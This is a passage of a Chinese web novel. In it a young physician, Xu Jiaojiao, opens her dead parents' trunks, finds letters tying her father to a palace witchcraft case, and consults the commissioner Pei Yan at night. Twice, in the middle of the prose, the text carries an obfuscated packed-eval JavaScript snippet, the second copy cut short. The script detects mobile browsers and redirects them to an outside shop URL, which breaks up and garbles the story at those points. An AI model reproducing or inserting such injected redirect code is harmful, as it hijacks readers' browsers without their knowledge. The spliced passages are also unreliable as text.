许娇娇叫来长风说了自己的打算，她想让长风他们先回去，自己到时候在镇上的脚店随便找一个车子回菰城。长风想到临走前主子的话，“护好她。莫要让那些人冲撞了。”本来，他和明月是郎主的长随，从小一起长大，在京城，谁不知道他是大公子身边的红人，出门谁不喊一声长管事。如今他竟然被派来服侍许娘子。但他其实心中十分愿意，许娘子可是郎主最看重的人，且许娘子人美心善，不但会医术，还会厨艺，女工。往后也不知道许娘子会不会和郎主有交集，长风心中十分焦急，许娘子什么都好，就是这家世......，他暗暗叹了口气。 “娘子尽管自便，小的几个还去镇上住，不妨事，明日我们再来。” 原来昨日长风早就着人安排好了，住在镇上的客栈，许娇娇也就随他们，李婆子家实在是太小了，根本住不下他们几人。 “那你们还是回镇上吃？”许娇娇问长风。 “娘子不用担心，小的们会自己照顾好自己。”长风知道李婆家境清寒，招待这么多人确实不易。所以也不和她们一处吃饭。“娘子尽管去吃，莫管小的，小的跟着郎主时，一日滴米不进也是有的，小的都习惯了。” “那可不成，”许娇娇语气透着严肃，“不吃饭对肠胃不好，你也要多劝劝安抚使，少吃多餐，或实在忙的时候，可以吃一块点心垫垫也是好的。” “小的记下了，多谢娘子费心。”长风一脸笑意答应。 厨房里，李婆子喊她们吃饭。孙二根和金桂端着碗筷出来，在院子里摆了小桌。 长风识趣的退了出去。 饭菜很简单，一碗炖鸡，一碟腌菜，一盘炒青菜，还有热腾腾的杂粮饼子。可坐在院子里，看着暮色一点点降临，听着鸡鸣狗吠和人们的说笑声，许娇娇觉得，这是她这些年来，吃得最香的一顿饭。 吃过饭，天已经黑了。 孙二根和金桂告辞回去，说明日再来。李婆子收拾碗筷，静尘帮忙烧水，静心也帮着收拾桌椅。许娇娇坐在院子里，看着头顶的星星。 山里的星星真多，密密麻麻的，像撒了一把碎银子。 许娇娇三人在李婆子家一共住了五日，把许大郎和柳氏的坟墓重新修葺了一番，将附近的荒草都处理干净，碑立好。已是第五日午时三刻，长风他们几个早就将许娇娇要带走的东西都装上了马车。这几日，附近她原来看过病的几户人家，都来李婆子家看她，感谢之余，给她带了不少农家的吃食，许娇娇将贵重的都推辞了，只留下了一些寻常之物。 临走前，李婆子几人又将她们送到村口，许娇娇再三推辞，说过些日子，闲了再来看他们。也让他们有事就去菰城的张记生药铺找她，说她若是要离开，会去信告知她们。婆子才含泪停下，看着马车渐渐走远。 91. 第91章 许大郎笔记 马车在柳枝巷口停下时，已是申时末。冬日天黑得早，西边天上只剩一抹残红，巷子里已经暗了下来。 长风跳下马，帮着把车上的东西卸下来。除了许娇娇她们随身带的包袱，还有李婆子她们送的一大篮山货。有干笋、野菌、核桃、鸡蛋，还有一只绑了脚的活母鸡，说是给她们补身子的。那鸡在篮子里扑腾了一路，这会儿已经蔫了，耷拉着脑袋，偶尔咕咕两声。 “许娘子，这些东西送哪儿？”长风拎着篮子问。 “先放院子里吧，”许娇娇开了门，“辛苦你了，长风大哥。进屋喝杯茶再走？” 长风摆摆手：“不了不了，郎主那边还等着回话呢。您早点歇着，属下告退。” 他转身要走，许娇娇忽然想起什么，叫住他：“等等。” 她从那篮山货里翻出一包用粗布包着的干笋，又拿了一小袋核桃，递给长风：“这个，带给裴安抚。落溪村的土产，不值什么，是我阿婆的一点心意。” 长风愣了愣，双手接过来：“这……属下替郎主谢过许娘子。” “别，”许娇娇笑了笑，“是我该谢他才。这一路多亏你护送，回头见了裴安抚，替我带个好。” 长风应了，翻身上马，带着两个兄弟很快消失在巷子尽头。 许娇娇站在门口看了一会儿，才转身进去。 静尘已经点了灯，正把包袱里的东西往外拿。静心蹲在院子里，好奇地戳那只母鸡，那鸡被戳得烦了，扑棱着翅膀要啄她，吓得她哎呀一声跳开，惹得静尘直摇头。 “静心，别闹了，去烧水。走了一天的路，都乏了，洗洗好歇息。” 静心吐吐舌头，乖乖钻进厨房去了。 许娇娇把那只母鸡从篮子里放出来，找了根绳子拴在院角的石榴树下。那鸡得了自由，抖抖羽毛，开始在树下刨食，倒也安静。 “娇杏，”静尘在屋里喊，“这两个箱子放哪儿？” 许娇娇应了一声，忙进屋去看。 堂屋正中摆着两个旧木箱，正是她从落溪村带回来的。箱子不大，樟木的，边角包着铜皮，已经磨得发亮。箱盖上刻着简单的花纹，因年头久了，花纹都有些模糊。 这是许大郎和柳氏仅剩的遗物。 当年许大郎死后，柳氏一病不起，家里的东西渐渐被人惦记。房子被占了，田地池塘被分了，连锅碗瓢盆都被人拿得七七八八。李婆子后来还去讨要了一回许娇杏的衣物，被那张癩子的婆娘挖苦了一顿。这次要不是许娇娇往张癩子的眼前拍了五两纹银，张癩子估计也不会那么容易，就把许大郎夫妻的这两只箱子还回来。 箱子里的值钱物件早被翻空了，幸好张癩子两口子不识字，也幸好许大郎夫妻在天有灵。才保住了这些书籍。 许娇娇蹲下身，伸手抚过箱盖上的花纹。指尖触到的木质已经有些糟了，边角的铜皮也生了绿锈。 “要拿出来吗？”静尘轻声问。 许娇娇点点头，“我先看看，明日都拿出来晒晒，这些书在箱子里放了十年之久，都有些潮了，幸好是樟木的，不然早就被虫子吃了。” 打开箱盖，一股陈旧的霉味扑面而来，夹杂着淡淡的樟木香。 她拿起最上面的一本，是本《黄帝内经》，线装的，书页已经泛黄，边角有些卷翘。翻开扉页，上面有行小字：“甲申年春，购于菰城旧书肆。” 字迹端正清秀，却不像是许大郎的字。许娇娇往下翻，书页空白处有不少批注，有解释经文的，有记录临床心得的，字迹渐渐变得潦草奔放，与扉页那行小字截然不同。 她心中一动，翻到一处批注密集的地方，细细辨认那些字迹。 龙飞凤舞，笔力遒劲，每一笔都透着股磊落之气。这样的字，绝不是寻常猎户能写出来的，没有十年以上的功底，没有开阔的心胸，写不出这样的字。 许娇娇看着那些批注，脑海中浮现出一个模糊的身影。那身影高大英武，执笔时微微蹙眉，落笔时却一气呵成。 “你阿爹，生得英武不凡……”李婆子的话忽然在耳边响起。 她又拿起几本，有《伤寒论》《金匮要略》《千金方》，还有几本薄薄的册子，封面上写着“医案”二字。翻开一看，是许大郎亲手记录的病案，每一则都详细记载了患者症状、用药、疗效，后面还有他的心得体会。 字迹依然奔放，却条理分明，足见心思缜密。 许娇娇一页页翻过去，心头的疑惑越来越重。 这样的医术，这样的学问，这样的人，真的只是个普通的猎户吗？ 她放下医案，继续往下翻。箱底还有几本书，纸张比前面的都要好，装订也更精致。她抽出来一看，是《诗经》《楚辞》，还有一本《庄子》。 《诗经》的扉页上，同样有一行小字，却不是购书的时间地点，而是两句诗： “关关雎鸠，在河之洲。窈窕淑女，君子好逑。” 字迹婉约秀气，还带着几分稚嫩，像是女子所写。旁边又有一行狂放的字：“吾妻七岁手笔，珍藏之。” 许娇娇盯着那行字，眼眶蓦地一热。 这是阿爹和阿娘留下的痕迹。阿娘七岁时写的字，阿爹一直珍藏着，藏在箱底，藏在心里。 她深吸一口气，把《诗经》轻轻放在一旁，打开了第二个箱子。 这个箱子里装的也是一些书籍，被人翻得乱七八糟的，下面都是一些不值钱的杂物，最下面竟然有两件旧衣裳，料子都已褪色，却依稀能看出当年的讲究。其中一件藕荷色的襦裙，用的竟是上好的绸缎，袖口绣着精致的缠枝莲纹。 许娇娇想起李婆子的话：“穿着绸缎衣裳，那张脸就跟细白瓷似的，简直像从画儿里走出来的仙女。” 她轻轻抚过那件襦裙，指尖触到绣纹时，忽然摸到一处硬硬的东西。翻开来一看，襦裙的夹层里竟缝着一只小小的荷包。 荷包是月白色的，绣着几枝淡雅的兰花，针脚细密，一看就是女子的手艺。许娇娇打开荷包，里面只有一张对折的纸，已经泛黄发脆。 她小心翼翼地展开，纸上是一首诗，字迹与《诗经》扉页上的那行小字如出一辙： “妾家本住横塘路，门前流水桃花坞。十五嫁作良人妇，二十年来如一梦。梦中忽忆旧时妆，对镜簪花双鬓香。醒来不见画堂燕，唯有青山送夕阳。” 诗的下方，还有一行小字，字迹潦草狂放，是许大郎写的： “乙酉年秋，内子病中忆旧作此。读之怅然，不知所谓‘横塘路’‘桃花坞’在何处。问之，但笑不语。噫，吾妻心中，亦有一段旧事耶？” 许娇娇捧着那张纸，暗暗思忖，这莫非是阿娘的从小生活的地方？ 横塘路，桃花坞。这两个地名，她从未听过。但诗中那股浓浓的怀念与伤感，却透纸而出。 阿娘是在怀念什么？怀念出嫁前的生活？还是怀念那个再也回不去的家？ 她想起李婆子说过的话，说柳氏刚来村里时，穿着绸缎衣裳，像画里走出来的仙女。十里八村的小娘子，没一个及得上她。 这样的人物，怎么会嫁给一个山里的猎户？又怎么会甘心在这穷乡僻壤隐姓埋名？ 许娇娇把诗折好，小心地放回荷包里。又翻了翻箱子里的其他东西，有两三件许大郎的旧衣，料子也是好的，但都已经陈旧不堪。箱子里的东西她都拿了出来，她将这些一样一样摆放在桌子上，轻轻抚摸着，这两夫妻绝对不是一般人。 静尘在旁边帮着整理，她正拿着一块布巾擦拭箱子，嘴里还说着，“娇杏，你阿爹阿娘究竟是什么样的人？我怎么觉着像是大户人家出身，你看这箱子里，竟然还有暗格。” “什么？”许娇娇一惊，“箱子里有暗格？” 她急忙起身上前查看，只见静尘指着箱子的其中地方道，”看看，就是这里，刚才我细细打量了，是暗格没错。只是，如何打开，我却不知。” 许娇娇仔细看了看箱底，果然，那个地方和其他地方不一样，不仔细看还真看不出来，她伸手摸了摸，又拔掉头上的银钗试着点了点，“不行，不是这样开的，我来研究研究。” 许娇娇趴在箱子上，用手触摸着，半晌，才在边上的一个颜色深一点的地方用力按了下去，只听咔嚓一声，箱底的那个暗格弹开了。 里面用一块红布包着一个东西，许娇娇小心的拿出来，揭开包布，一块通体青白色的玉佩显露出来，许娇娇仔细打量，只见上面雕着灵芝如意纹，虽然不算顶顶名贵，却也不是寻常人家能有的。 玉佩的穗子已经旧了，却还整齐。许娇娇拿起来端详，忽然发现玉佩背面刻着两个小字： “怀瑾”。 她怔住了。 怀瑾，握瑜。这是《楚辞》里的话，比喻人怀有美玉般高洁的品德。 莫非许大郎的名字是怀瑾，许怀瑾？ 若是本名，那这名字取得极有讲究。能取出这个名字的人家，必定是读书识礼的，绝不会是普通农户。 静尘在旁边也很惊讶，“娇杏，你阿爹阿娘我估摸着出身不凡。” 许娇娇点点头，“恐怕是。” 她把玉佩也收好，继续翻找。暗格里还有一个油纸包，她打开来，里面竟然是一叠信。 信纸也泛黄了，但保存得很好。她数了数，一共七封，信封上的字迹各不相同，有端正的楷书，有飘逸的行书，但收信人的名字都一样—— “许怀瑾亲启”。 寄信人的地址，有京城，有苏州，有杭州。最早的一封是二十年前，最晚的一封是十六年前。 许娇娇的心跳得越来越快。 她抽出最上面的一封，打开来，信纸上的字迹端庄工整，开头的称呼是： 怀瑾兄如晤： 春寒料峭，伏惟尊候佳胜。弟在京一切如常，唯驰仰无已，时念当年与兄把酒论医、夜话西窗之乐。近闻朝中颇有议论，兄在外切宜珍重，诸事谨慎。待天暖时，当图一晤。 匆匆奉状，不宣。 弟文塬顿首 许娇娇又拆开另一封，这封是苏州寄来的，字迹清秀，像是好友所写：前日得友人书，言及京中巫蛊一案，朝野震动，闻兄能全身而退，弟心稍安。此事牵连甚广，兄暂避锋芒，实为上策。弟在苏州一切如旧，唯以诗酒自娱，驰想吾兄昔日豪谈，不胜怅怅。 天寒，惟珍重。不具。 弟安之再拜 巫蛊案？这三个字让许娇娇心头一震。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17403685|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿爹，莫非和朝中的巫蛊案有关？ 她急忙又看另一封信，这封是杭州寄来的，字迹潦草，像是仓促写成：怀瑾兄： 急足至，得闻朝中奸党密谋，恐对兄不利。弟已恳托朝中熟人从中斡旋，兄务必慎行藏、谨言语，切莫暴露行踪。待风波稍定，弟当再报。 此间事急，不多及。惟千万珍重。 没有落款，但字里行间的关切与焦急，扑面而来。 许娇娇捧着那些信，手心有些冒汗。 十六年前，二十年前。那时候阿爹还叫许怀瑾，还和京城的家人、苏州杭州的朋友有书信往来。他读过那么多医书，写得一手好字，医术高明，谈吐不凡，他本不该是一个山里的猎户。 是什么让他放弃了从前的一切，带着阿娘躲到这深山里来？ 是那场朝中的巫蛊案吗？是有人在追杀他吗？ 她又想起柳氏的诗：“二十年来如一梦。”二十年前，正好是阿爹阿娘来落溪村定居的时候。从那时起，他们隐姓埋名，一个成了猎户许大郎，一个成了农妇柳氏，再也没提过从前。 可那“横塘路”“桃花坞”呢？那是阿娘的故乡吗？ 许娇娇坐在那里，脑子里乱成一团。 静尘出去端着一碗热水进来，见她脸色不对，忙放下碗，轻声问：“娇杏，怎么了？” 许娇娇抬起头，语气中带着一丝郑重与疑惑：“师姐，我阿爹阿娘……恐怕不是病故的。” 静尘一愣，在她身边坐下，握住她的手：“别急，慢慢说。” 许娇娇把那些信递给她，又把那块玉佩拿给她看：“你看，我阿爹本名叫许怀瑾，这玉佩是他贴身带的。还有这些信，是二十年前他的朋友写来的。最后一封说，京中奸党密谋，欲对他不利，让他谨慎，切莫暴露行踪。” 静尘一封封看过去，脸色也渐渐凝重起来。 “你的意思是……” “我在想，”许娇娇低声道，“阿爹进山打猎遇到黑瞎子，真的只是意外吗？阿娘伤心过度病故，真的只是伤心吗？他们躲了这么多年，突然就接连出事，会不会是……” 她没有说下去，但静尘已经明白了。 “你想查清楚？” 许娇娇点点头，又摇摇头：“我不知道。那些事都过去十几年了，查起来谈何容易。可若是不查，我心里过不去这个坎。” 静尘沉默了一会儿，轻声道：“先别急。这些东西，你收好。眼下先把铺子里的事理顺，再从长计议。” 许娇娇深吸一口气，把那些信和玉佩重新包好，放回箱子里。又把那本医案拿出来，继续翻看。 翻到最后一本时，她发现那是一本单独的册子，封面没有写字。翻开一看，里面是许大郎的随笔，有行医感悟，有生活琐事，还有偶尔的感慨。 她一页页翻过去，忽然停住了。 这一页上，字迹格外潦草，墨迹也有深有浅，像是写写停停，心中激荡难平。上面写着： “医家自勉：一曰仁，无仁心不可为医，见病者之苦，当如己之苦；二曰精，无精术不可为医，生死之间，毫厘之差，千里之谬；三曰慎，无慎思不可为医，用药如用兵，一着不慎，满盘皆输；四曰淡，无淡泊不可为医，医者非商贾，不可逐利忘义。若能守此四者，方不负医者之名。” 许娇娇看着这段话，心中涌起一股敬意。这是阿爹从医数十年的心得，字字恳切，句句发自肺腑。 她继续往下翻，后面还有一些零散的记录。翻到最后几页时，她的目光忽然定住了。 这一页上，只有短短几句话，字迹却比前面都要用力，墨迹深深印在纸上，几乎透到背面： “匆匆二十载，时闻旧京事。一朝蒙冤久，何日得天顾。物是人非事事休，无语泪先流。妻病日笃，余心如刀绞。若苍天有眼，何以至此？若苍天无眼，吾复何言？” 下面还有一行更小的字，似乎是后来添上去的： “杏儿尚幼，余夫妻若有不测，此女何辜？老天爷，你睁睁眼罢！” 许娇娇的眼泪终于夺眶而出。 她捧着那本笔记，泪水滴在纸上，洇湿了那些字。 许大郎和柳氏，他们心里藏着多少事，受了多少苦，到死都没有说出来。他们怕连累女儿，所以什么都不说，什么都不留。可那些往事，那些冤屈，那些无法言说的痛，都在这本笔记里，在这几封信里，在这块玉佩里。 他们不是普通农户，他们是被人追查、被迫躲藏的可怜人。 “阿爹，阿娘，”许娇娇低声道，“你们放心。不管过去发生了什么，我都会查清楚。你们受的冤屈，你们的从前，我都会一点一点找回来。” 她合上笔记，把箱子盖好。 窗外，夜色已经深了。厨房里飘来饭菜的香味，静心在院子里喊：“吃饭啦！” 许娇娇擦干眼泪，站起身。 门外传来静尘轻轻的脚步声，还有静心叽叽喳喳的说笑声。这是她的家，她的亲人，她的现在。 可那个遥远的过去，那个藏着秘密的二十年前，她也绝不会放过。 总有一天，她要弄清楚，许怀瑾是谁，柳氏是谁，他们为什么躲到这里，又是谁害死了他们。 92. 第92章 夜访 从落溪村回来已有三日，许大郎和柳氏的过往犹如一块石头，始终压在她的心头，沉甸甸的，喘不过气来。 白日里她去张记坐诊，照常给病人把脉开方，和廖大夫、万大夫探讨医理，和抓药的伙计说笑几句。一切如常，谁也看不出异样。可一到夜里，她就把自己关在屋里，对着那两口旧木箱，一遍遍地翻看那些信、那些笔记、那块玉佩。 阿爹的字她越看越熟悉。那龙飞凤舞的笔迹，那力透纸背的力道，那字里行间的磊落之气，仿佛透过泛黄的纸页，直直地望进她心里。她甚至能想象出阿爹执笔时的模样。微微蹙着眉，目光专注，落笔时一气呵成，写完又从头到尾看一遍，偶尔添上一两笔批注。 阿娘的字则婉约得多，秀秀气气的，带着几分稚嫩。那首写在荷包里的诗，许娇娇已经背了下来： “妾家本住横塘路，门前流水桃花坞。十五嫁作良人妇，二十年来如一梦。梦中忽忆旧时妆，对镜簪花双鬓香。醒来不见画堂燕，唯有青山送夕阳。” 每读一次，她心中酸楚难言。 阿娘是在怀念什么？怀念那个“横塘路”“桃花坞”里的家吗？那个家是什么样的？有画堂燕吗？有对镜簪花的清晨吗？她十五岁嫁人，嫁的是阿爹，那嫁人之前呢？她是谁家的女儿？为什么从来不提？ 许娇娇把荷包贴在胸口，闭上眼，深吸一口气。 还有那些信。 “京中巫蛊一案，朝野震动”“奸党密谋，恐对兄不利”“兄务必慎行藏、谨言语，切莫暴露行踪。”这些字句像一根根刺，扎在她心里。阿爹当年究竟卷入了什么事？那个“巫蛊案”是什么？是谁要对他不利？他又为什么要躲到落溪村那样的深山里，隐姓埋名十几年？ 她翻来覆去地想，越想越觉得不安。 若阿爹阿娘的死真的另有隐情，那害死他们的人，会不会还在？会不会还在找他们的后人？ 想到这里，许娇娇的后脊梁一阵发凉。 第四日傍晚，长风来了。 “许娘子，”他站在院门口，脸上带着笑，“郎主让小的来问问，娘子从落溪村回来，一切可好？那些土产，郎主说很好吃，让小的代他谢过娘子。” 许娇娇心里微微一跳，面上却不动声色：“劳裴安抚挂念，我一切都好。那些东西不值什么，他喜欢就好。” 长风点点头，正要告辞，许娇娇忽然叫住他。 “长风大哥，”她犹豫了一下，“裴安抚……今晚有空吗？” 长风愣了愣，随即眼睛一亮：“娘子想见郎主？有有有，郎主这几日都在行辕，晚上也不出门。娘子若有话要和郎主说，小的这就回去禀报，安排车马来接娘子。” 许娇娇点点头：“那就有劳了。” 长风喜滋滋地走了，脚步都比来时轻快几分。 静尘从屋里出来，看着她，轻声道：“想好了？” 许娇娇点点头：“这些事，我一个人想不明白。裴安抚见多识广，说不定能看出些门道。再说，他帮了咱们这么多，于情于理，也该去当面道声谢。” 静尘没再说什么，只是帮她理了理衣裳，又取了件厚实的披风来。 “夜里冷，多穿些。” 许娇娇接过披风，心里一暖。 天色擦黑时，一辆青帷马车停在了巷口。赶车的还是那个赵姓汉子，见了许娇娇，憨厚地笑着打招呼。长风骑着马跟在车旁，见许娇娇出来，忙跳下马，把马凳放好。 “许娘子，请上车。” 许娇娇上了车，车帘放下，马车缓缓驶动。 她靠在车壁上，听着外面辚辚的车轮声和嘚嘚的马蹄声，心里忽然有些紧张。 见了他，该说什么？ 先说谢？谢他这些日子以来的照拂，谢他派长风一路护送，谢他收下那些土产还特意让人来道谢。 再说那些信？阿爹的信，阿娘的荷包，那块刻着“怀瑾”的玉佩。这些事，她能对他说吗？他会不会觉得她多事？会不会嫌她麻烦？ 还有那些往事，那些可能牵涉到朝中旧案的往事，他一个钦差，查的是江南漕运的案子，是崔琰的案子，这些陈年旧事，他愿意管吗？ 许娇娇胡思乱想着，不知不觉间，马车已经停了下来。 “许娘子，到了。” 她深吸一口气，掀开车帘。 钦差行辕的门楼在夜色中巍然矗立，门前挂着两盏气死风灯，把周围照得亮堂堂的。门口站着几个青衣侍卫，见了长风，都微微躬身。 长风引着许娇娇往里走。穿过两道门，来到一个清幽的小院。院门口种着一丛竹子，在夜风里沙沙作响。屋里亮着灯，窗纸上映出一个挺拔的身影。 “郎主，许娘子到了。”长风在门口禀报。 门几乎是立刻被打开的。 裴宴站在门内，一身玄色常服，腰间系着同色革带，比白日里少了几分冷峻，多了几分居家随意。可那双眼睛依旧深邃，目光落在她身上时，像是能看穿她所有的心事。 “进来吧。”他的声音不高，却让许娇娇莫名心安。 屋里烧着炭盆，暖融融的。陈设简单，一张书案，几把椅子，墙上挂着一幅山水画。书案上堆着些文书，旁边放着一盏茶，还冒着微微的热气。 裴宴请她坐下，亲自给她倒了一盏热茶。 “天冷，先暖暖身子。” 许娇娇接过茶盏，捧在手心。茶是上好的龙井，清香扑鼻。她抿了一口，那股暖意从喉咙一直暖到心里。 裴宴在她对面坐下，也不急着问她来意，只是静静地看着她。 那目光不压迫，不审视，只是静静地落在她身上，像是在等她先开口。 许娇娇被他看得有些不好意思，垂下眼，又抿了一口茶，才道：“裴安抚，小女今夜冒昧来访，是有事想请教。” 裴宴点点头：“你说。” 许娇娇从袖中取出那块玉佩，放在桌上。 “这是民女从落溪村带回来的东西。是我阿爹的遗物。” 裴宴拿起玉佩，借着灯光端详。青白玉的料子，雕着灵芝如意纹，背面刻着两个小字：“怀瑾”。 “怀瑾？”他念出声来，抬眼看向许娇娇，“令尊的名讳？” 许娇娇点点头：“可能是我阿爹的字。这是我这几日才知道的。” 她又取出那叠信，双手递给裴宴。 “这些，是我阿爹二十年前的朋友写给他的信。最早的一封是二十年前，最晚的一封是十六年前。寄信的地方，有京城，有苏州，有杭州。” 裴宴接过信，一封封看过去。他的眉头渐渐蹙起，目光也越来越凝重。 “巫蛊案？”他抬起头，看向许娇娇，“令尊和京城的巫蛊案有关？” 许娇娇摇头：“我也不知。我阿爹阿娘在我七岁那年就没了，他们的事，我一点都不知道。这次回落溪村，才从李阿婆那里听说了一些。李阿婆说，我阿娘刚来村里时，穿着绸缎衣裳，长得像画里走出来的仙女。我阿爹虽说是猎户，可谈吐不凡，还给人看病，十里八村的人都敬重他。” 她顿了顿，声音低了下去：“可他们从不提过往。村里人问起，也只说是外地逃难来的。直到我看了这些信才知道，他们根本不是逃难来的，是躲进来的。” 裴宴把信放下，拿起那本医案，一页页翻看。翻到最后一页时，他的目光定住了。 “一朝蒙冤久，何日得天顾……”他轻声念着，念到最后那句“杏儿尚幼，余夫妻若有不测，此女何辜”，抬起头，看着许娇娇。 许娇娇的眼眶有些红，却强撑着没有让眼泪落下来。 “裴安抚，民女斗胆，想请您看看这些东西。您在京城待过，见多识广，可曾听说过二十年前的巫蛊案？可曾听说过我阿爹的名字？” 裴宴沉默了片刻，把那叠信和玉佩收好，放在一旁。 “你阿爹的事，我会让人去查。”他看着许娇娇，目光里有一种让人安心的笃定，“这些东西，先放在我这里。若有消息，我会告诉你。” 许娇娇心头一松，起身敛衽一礼：“多谢裴安抚。” 裴宴摆摆手，示意她坐下。他端起茶盏抿了一口，忽然问：“你可知道，崔琰的案子，有结果了？” 许娇娇一怔，摇摇头。 裴宴放下茶盏，声音沉了下来：“皇上准了他的请罪折子。夺职，削爵，贬为平民。但没有治罪。” 许娇娇愣住了。 “贬为平民……就这样？” “就这样。”裴宴看着她，目光里有一丝复杂，“他推得干干净净，把所有罪责都推给了死去的崔旺和王兆仁。那些证人，那些伪证，那些在朝中替他说话的人，让他保住了这条命。” 许娇娇张了张嘴，却什么都说不出来。 贬为贫民，真是讽刺，一个犯了这么大罪的人，仅仅是贬为平民。 她想起那些被拐卖的女子，想起了尘师父的尸骨，想起赵大被砸烂的脑袋，想起崔娘子跪在院门外哭着说“我做不到”的样子。那么多条人命，那么多血淋淋的罪证，最后换来的，只是一个“贬为平民”？ “不甘心？”裴宴问。 许娇娇深吸一口气，点点头：“不甘心。” 裴宴看着她，忽然微微弯了弯嘴角。 那笑意很淡，却让许娇娇心头一跳。 “那就记着这个不甘心。”他的声音不高，却一字一句清晰地落进她耳里，“记着那些死去的人，记着那些作恶的人。往后做事，就多一分警醒。” 许娇娇怔怔地看着他。 烛光在他脸上跳跃，给那张冷峻的脸添了几分柔和。他坐在那里，明明说的是不甘心的事，可那双眼睛里，却没有不甘，只有一种沉静的、近乎冷酷的清醒。 “裴安抚，”她轻声问，“您甘心吗？” 裴宴沉默了一瞬，才道：“不甘心又如何？这世上的事，从来不是你想怎样就怎样。能做的，就是尽力而为。剩下的，交给天意。” 许娇娇听着这话，心里忽然涌起一股说不清的复杂情绪。 他不是没有不甘，他只是把不甘压在了心底。他查了这么久，查了那么多，好不容易把真相大白于天下，可最后，那个真正的幕后黑手却轻飘飘地脱身了。他心里怎么可能没有不甘？ 可他没有在她面前表现出来。他只是告诉她，记着这个不甘心，往后做事就多一分警醒。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17409603|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我记下了。”她轻声道。 屋里安静了一会儿。 许娇娇忽然想起什么，从袖中取出那块令牌。那是他当初在归平县大牢里给她的，让她防身用的。后来案子结了，她一直收着，总想着找机会还给他。 “裴安抚，”她把令牌双手递过去，“这个，也该还给您了。” 裴宴低头看着那块令牌，没有伸手去接。 许娇娇轻声道：“案子已经结了，您很快就要回京复命。这令牌是钦差信物，民女不敢再留着。再说……”她顿了顿，笑了笑，“如今也没有人再欺负民女了。” 裴宴看着她，那双深邃的眼睛里有什么东西动了动。他没有说话，只是伸手接过令牌，在掌心里握了一瞬。 “也好。”他说，声音很低。 许娇娇垂下眼，心里忽然有些空落落的。那块令牌跟了她这些日子，贴在心口的位置，沉甸甸的，像是他一直陪在身边。如今还回去了，就好像……好像少了一点什么。 她很快把这点情绪压下去，抬起头，弯了弯唇角。 “案子结了，这令牌确实该收回了。”裴宴目光落在她脸上，“之前给你的那块玉佩，是我私人的东西。你往后若是遇到难处，或是有事要找我……” 他没有说下去，只是看着她。 许娇娇心头猛地一跳。 那块羊脂玉佩，是那夜他临走时装在一个紧致的锦囊里给她的，她一直贴身收着，从不敢戴出来。那玉佩温润细腻，雕工精美，一看就价值不菲。 她原以为只是寻常的回礼，可此刻听他这样说，心里忽然明白了什么。 那不是寻常的礼。 那是…… 她的脸微微有些发烫，垂下眼，不敢看他。 “那玉佩……”她轻声道，“太贵重了，我……” “给你就收着。”裴宴的声音不高，却不容置疑，“往后若要去京城查你阿爹的事，拿着它，说不定有用到的一天。” 许娇娇抬起头，看着他。 京城。 他说的是京城。 她还没说出口的话，他都已经想到了。她心里那点隐秘的念头，那些信上的地址，那些从京城寄来的信，那个“巫蛊案”的蛛丝马迹。 她还没想好要不要告诉他，他就已经猜到了。 “裴安抚，”她的声音有些发哽，“您……您怎么……” “你阿爹的事，既然要查，总要进京的。”裴宴看着她，目光里有一丝难得的柔和，“那些信里，好几封是从京城寄来的。写信的人，若还活着，多半也在京城。” 许娇娇听着，心里涌起一股说不清的滋味。 这个男人，他什么都想到了。他想得比她远，想得比她周全，想得比她深。 “多谢裴安抚。”她轻声道，声音低得几乎听不见。 裴宴点点头，没有再说。 外头传来长风的咳嗽声，像是提醒什么。 许娇娇回过神来，起身告辞。走到门口，她忽然想起什么，回过头。 “裴安抚，”她看着他，目光清澈而坚定，“若有一日，民女当真要去京城，您……您那时还在京城吗？” 裴宴微微一怔。 烛光在他身后跳跃，给他的脸镀上了一层暖融融的光晕。他看着许娇娇，那双深邃的眼睛里，忽然有什么东西动了动。 “在。”他说。 就一个字，却让许娇娇心轻轻跳了一下。 她弯起唇角，笑了笑，转身走进夜色。 马车辚辚地驶出行辕，车厢里只有她一个人。她靠在车壁上，将那块羊脂玉佩从怀中取出。车帘缝隙间漏进几缕月光，恰好落在掌心，玉是温的，贴肤焐了太久，连那如意云纹的脉络都仿佛染上了脉搏，在手心微微跳动。 一如他的脸。 她忽然将玉佩贴上脸颊，烫的。不知是玉暖，还是自己的脸烧得厉害。 下一瞬，她整个人蜷下去，把头埋进膝间，久久不曾抬起。 回到柳枝巷时，已经亥时末了。静尘和静心还点着灯等她，见她回来，齐齐了口气。 “怎么样？”静尘迎上来，“裴安抚怎么说？” 许娇娇感觉自己的脸已经恢复原样了。一本正经地把裴宴的话复述了一遍，又从袖中取出那个油纸包。临走时长风塞给她的，说是郎主吩咐的，让她补补身子。 静尘接过打开，是一包上好的阿胶，切成整齐的小块，用油纸仔细包着。 静心凑过来看了一眼，啧啧道：“这阿胶我在张记见过，要好几两银子一盒呢！裴安抚可真是……” 她没说下去，只是拿眼觑着许娇娇，嘿嘿笑了两声。 许娇娇瞪她一眼，把那包阿胶收好。 夜深了，静尘和静心都睡下了。许娇娇躺在炕上，却怎么也睡不着。 她望着头顶的房梁，想着那些信，那块玉佩，他说的那些话。 京城。 那个她从没去过的地方，那个阿爹阿娘拼命逃离的地方，那个藏着无数秘密的地方。 若有一日，她当真要去京城…… 他说，他在。 许娇娇闭上眼，眼睛弯成了月牙。 93. 第93章 离别 许娇娇这一觉睡得沉，醒来时，窗纸已经透进白亮亮的光。 